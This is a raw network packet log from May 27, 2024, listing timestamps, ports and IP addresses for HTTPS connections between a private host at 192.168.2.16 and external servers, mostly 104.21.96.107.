May 27, 2024 19:30:42.320224047 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.320246935 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.320312023 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.320332050 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.320394993 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.320662975 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.320677996 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.320776939 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.320789099 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.320847034 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.353708982 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.353724003 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.354029894 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.354090929 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.354175091 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.367968082 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.367988110 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.368093014 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.368136883 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.368205070 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.368343115 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.368356943 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.368424892 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.368438005 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.368515015 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.410435915 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.410449982 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.410598993 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.410655022 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.410671949 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.410725117 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.410927057 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.410939932 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.411005020 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.411020994 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.411128998 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.411144972 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.411189079 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.411199093 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.411217928 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.411231041 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.411273003 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.411300898 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.442732096 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.442744017 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.442907095 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.442920923 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.442989111 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.456753016 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.456767082 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.456882000 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.456899881 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.456965923 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.457530975 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.457545996 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.457626104 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.457643986 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.457715034 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.497169971 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.497183084 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.497313976 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.497337103 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.497396946 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.497431993 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.497446060 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.497533083 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.497545004 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.497611046 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.497905970 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.497922897 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.498012066 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.498023987 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.498083115 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.498269081 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.498281002 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.498343945 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.498356104 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.498393059 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.498411894 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.516849041 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.516869068 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.516993999 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.517008066 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.517077923 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.531791925 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.531805038 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.531902075 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.531914949 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.531977892 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.547964096 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.547977924 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.548099995 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.548111916 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.548177958 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.587130070 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.587143898 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.587270021 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.587282896 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.587378025 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.587963104 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.587974072 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.588125944 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.588174105 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.588177919 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.588243008 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.588289022 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.588290930 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.588289976 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.588305950 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.588355064 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.588371992 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.588402987 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.588445902 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.588462114 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.588553905 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.588568926 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.605813026 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.605824947 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.605927944 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.605942011 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.620676994 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.620691061 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.620927095 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.620985985 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.636753082 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.636764050 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.636863947 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.636882067 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.674962997 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.674981117 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.675088882 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.675128937 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.675829887 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.675843000 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.675868988 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.675924063 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.675944090 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.675972939 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.675977945 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.676012039 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.676054955 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.676069021 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.676100016 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.676676989 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.676711082 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.676779032 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.676794052 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.677388906 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.677405119 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.677475929 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.677489042 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.694808006 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.694818974 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.694916010 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.694930077 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.712091923 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.712141991 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.712203979 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.712218046 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.712244034 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.724273920 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.724334002 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.724381924 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.724395037 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.724436045 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.763621092 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.763638973 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.763848066 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.763910055 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.764151096 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.764163017 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.764214993 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.764244080 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.764264107 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.764297962 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.764436007 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.764451027 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.764476061 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.764507055 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.764520884 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.764539957 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.764573097 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.764625072 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.764667988 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.764698029 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.792046070 CEST	55933	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.792109013 CEST	443	55933	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.792217016 CEST	55933	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.792542934 CEST	55933	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.792566061 CEST	443	55933	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.822843075 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.822884083 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.822971106 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.823365927 CEST	55935	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.823385000 CEST	443	55935	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.823457003 CEST	55935	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.824059010 CEST	55936	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.824111938 CEST	443	55936	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.824182034 CEST	55936	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.824469090 CEST	55937	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.824479103 CEST	443	55937	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.824543953 CEST	55937	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.825017929 CEST	55938	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.825026989 CEST	443	55938	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.825089931 CEST	55938	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.825370073 CEST	55939	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.825377941 CEST	443	55939	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.825436115 CEST	55939	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.825674057 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.825702906 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.825881004 CEST	55935	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.825906992 CEST	443	55935	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.826091051 CEST	55936	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.826111078 CEST	443	55936	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.826260090 CEST	55937	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.826275110 CEST	443	55937	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.826452971 CEST	55938	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.826468945 CEST	443	55938	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.826627970 CEST	55939	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:42.826642036 CEST	443	55939	104.21.96.107	192.168.2.16
May 27, 2024 19:30:42.832511902 CEST	55940	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:42.832593918 CEST	443	55940	152.199.23.37	192.168.2.16
May 27, 2024 19:30:42.832698107 CEST	55940	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:42.832946062 CEST	55940	443	192.168.2.16	152.199.23.37
May 27, 2024 19:30:42.832979918 CEST	443	55940	152.199.23.37	192.168.2.16
May 27, 2024 19:30:43.275137901 CEST	443	55933	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.275616884 CEST	55933	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.275654078 CEST	443	55933	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.279241085 CEST	443	55933	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.279337883 CEST	55933	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.279881954 CEST	55933	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.279988050 CEST	55933	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.280045033 CEST	443	55933	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.302514076 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.302831888 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.302861929 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.303116083 CEST	443	55937	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.303314924 CEST	55937	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.303380966 CEST	443	55937	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.304305077 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.304402113 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.304637909 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.304719925 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.304765940 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.304835081 CEST	443	55937	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.304914951 CEST	55937	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.305110931 CEST	55937	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.305181980 CEST	55937	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.305193901 CEST	443	55937	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.305213928 CEST	443	55937	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.309508085 CEST	443	55939	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.309670925 CEST	55939	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.309686899 CEST	443	55939	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.310626984 CEST	443	55939	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.310703993 CEST	55939	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.310897112 CEST	55939	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.310961008 CEST	443	55939	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.310990095 CEST	55939	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.314599037 CEST	443	55935	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.314980984 CEST	55935	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.315006971 CEST	443	55935	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.316009045 CEST	443	55935	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.316112041 CEST	55935	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.316504002 CEST	55935	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.316576004 CEST	443	55935	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.316683054 CEST	55935	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.316700935 CEST	443	55935	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.318048000 CEST	443	55938	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.318213940 CEST	443	55936	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.318334103 CEST	55938	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.318351984 CEST	443	55938	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.318475962 CEST	55936	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.318505049 CEST	443	55936	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.321692944 CEST	443	55936	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.321773052 CEST	55936	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.321780920 CEST	443	55938	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.321871042 CEST	55938	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.322101116 CEST	55936	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.322335005 CEST	443	55936	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.322427988 CEST	55938	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.322530031 CEST	443	55938	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.322582960 CEST	55936	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.322598934 CEST	443	55936	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.322649002 CEST	55938	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.322662115 CEST	443	55938	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.328583002 CEST	55933	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.328598022 CEST	443	55933	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.344607115 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.344620943 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.344624996 CEST	55937	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.344643116 CEST	443	55937	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.358510017 CEST	443	55939	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.360609055 CEST	55935	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.360613108 CEST	55939	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.360631943 CEST	443	55939	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.376578093 CEST	55936	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.376584053 CEST	55938	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.376593113 CEST	55933	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.392579079 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.392595053 CEST	55937	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.408591986 CEST	55939	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.579183102 CEST	443	55939	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.629837990 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.629956961 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.630028963 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.630058050 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.630086899 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.630136967 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.630214930 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.630377054 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.630436897 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.630450010 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.630809069 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.630867004 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.630873919 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.630965948 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.631016970 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.631022930 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.631653070 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.631715059 CEST	55934	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.631721973 CEST	443	55934	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.632589102 CEST	55939	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.636084080 CEST	443	55933	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.636168003 CEST	443	55933	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.636230946 CEST	55933	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.636662006 CEST	55933	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.636677027 CEST	443	55933	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.636689901 CEST	55933	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.636739016 CEST	55933	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.645061016 CEST	443	55936	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.645199060 CEST	443	55936	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.645263910 CEST	55936	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.645299911 CEST	443	55936	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.645387888 CEST	443	55936	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.645447969 CEST	55936	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.645463943 CEST	443	55936	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.645605087 CEST	443	55936	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.645670891 CEST	55936	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.645946026 CEST	55936	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.645981073 CEST	443	55936	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.646272898 CEST	55942	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.646341085 CEST	443	55942	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.646428108 CEST	55942	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.646709919 CEST	55942	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.646744013 CEST	443	55942	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.649208069 CEST	55944	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:43.649243116 CEST	443	55944	104.21.96.107	192.168.2.16
May 27, 2024 19:30:43.649319887 CEST	55944	443	192.168.2.16	104.21.96.107
